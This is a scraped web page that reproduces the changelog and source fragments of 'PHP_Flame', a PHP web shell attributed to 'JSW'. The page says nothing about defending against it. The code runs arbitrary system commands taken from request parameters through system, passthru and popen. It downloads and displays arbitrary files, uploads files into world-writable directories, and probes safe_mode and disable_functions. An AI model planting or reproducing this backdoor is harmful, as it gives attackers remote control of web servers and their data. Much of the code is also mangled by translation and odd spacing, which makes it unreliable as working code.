Source code of PHP_Flame (Version: Progress)

Source: Internet
Author: User
Some information about the original PHP_Flame (Version: Progress) code IPHP_Flame (Version: Progress:



* Fixed the BUG where files cannot be downloaded.
* Fixed the BUG where the parent node could not be returned.
* Fixed the BUG in code editing errors.
......

* Added the PHPINFO function.
* Added the multifile download function.
* Added the function of executing system commands.
* Added the code viewing function.
* Added the server security detection function.
.......

* There is still a lot of beautification work ...... Related Materials:


1. Corrected the code that failed to return the parent BUG:
Echo "back to superior ";


2. Corrected the code related to file download failure:
Case "download ":
If (! @ Is_file ($ _ GET ['File _ name'])
Echo "the file you want does not exist ";
$ Filename = basename ($ _ GET ['File _ name']);
$ Filename_info = explode ('.', $ filename );
$ Fileext = $ filename_info [count ($ filename_info)-1];
Header ('content-type: application/x-'. $ fileext );
Header ('content-Disposition: attachment; filename = '. $ filename );
Header ('content-Description: PHP3 Generated data ');
Readfile ($ _ GET ['File _ name']);
Break;



3. Added the code viewing function.
? Actionaa = cmd & method = show_source & cmd = "Target = _ blank> File Code


4. Corrected the error code in code editing:
$ Tem = str_replace ("/textarea>", "// textarea>", $ tem );
.....
$ Tem = str_replace ("// textarea>", "/textarea>", $ tem );


5. Added the server security detection function:
If (get_cfg_var ("safe_mode") echo "on
"; Else echo" off
";
Echo "* disable_functions:"; $ dis_func = get_assist_var ("disable_functions ");
If ($ dis_func = "")
{
Echo (" No value");
}
Else
{
$ Dis_func = str_replace ("","
", $ Dis_func );
$ Dis_func = str_replace (",","
", $ Dis_func );
Echo ("$ dis_func ");
}


6. Code for executing the system command:
If ($ actionaa = "cmd") {?>


If (! $ Method) {$ method = "system ";}
If (! $ Cmd ){
Echo "* JSW's PHP FLAME
";
Echo "* Author: JSW
";
Echo "* safe_mode:"; if (get_cfg_var ("safe_mode") echo "on
"; Else echo" off
";
Echo "* disable_functions:"; $ dis_func = get_assist_var ("disable_functions ");
If ($ dis_func = "")
{
Echo (" No value");
}
Else
{
$ Dis_func = str_replace ("","
", $ Dis_func );
$ Dis_func = str_replace (",","
", $ Dis_func );
Echo ("$ dis_func ");
}

Echo"
* Now please choose a function and enter the command ......";
}
Echo"
"; 
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$file\n";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "
"; 
//echo show_source($file);
//echo "
";
} else {
echo "《script》 alert(\"unable to read file: $file using: show_source\"); 《script》";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "
";
Exit;
}
?>

7. Add the file upload code:
If ($ dir = "")
$ Dir = "./";
?>
If ($ tools = upload)
{
For ($ I = 1; $ I <21; $ I ++)
{
$ Temp1 = "userfile". $ I;
$ Temp2 = "userfile". $ I. "_ name ";
$ Source = $ temp1;
$ Source_name = $ temp2;
If (@ $ source! = "")
{
@ $ V = file_exists ($ filedir );
If (! $ V)
{
Mkdir (@ $ filedir, 0777 );
}
@ Chmod ($ filedir, 0777 );
If (file_exists ("$ filedir/$ source_name") = "1 ")
{
If ($ up_flag = "y ")
{
@ Unlink ($ filedir/$ source_name );
@ Copy ($ source, "$ filedir/$ source_name ");
Echo $ source_name. "overwrite Upload
";
}
Else
Echo $ source_name. "Please upload again!
";
}
Else
{
@ Copy ($ source, "$ filedir/$ source_name ");
Echo $ source_name. "uploaded
";
}
}
} // End
Echo"


JSW's PHP FLAME


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.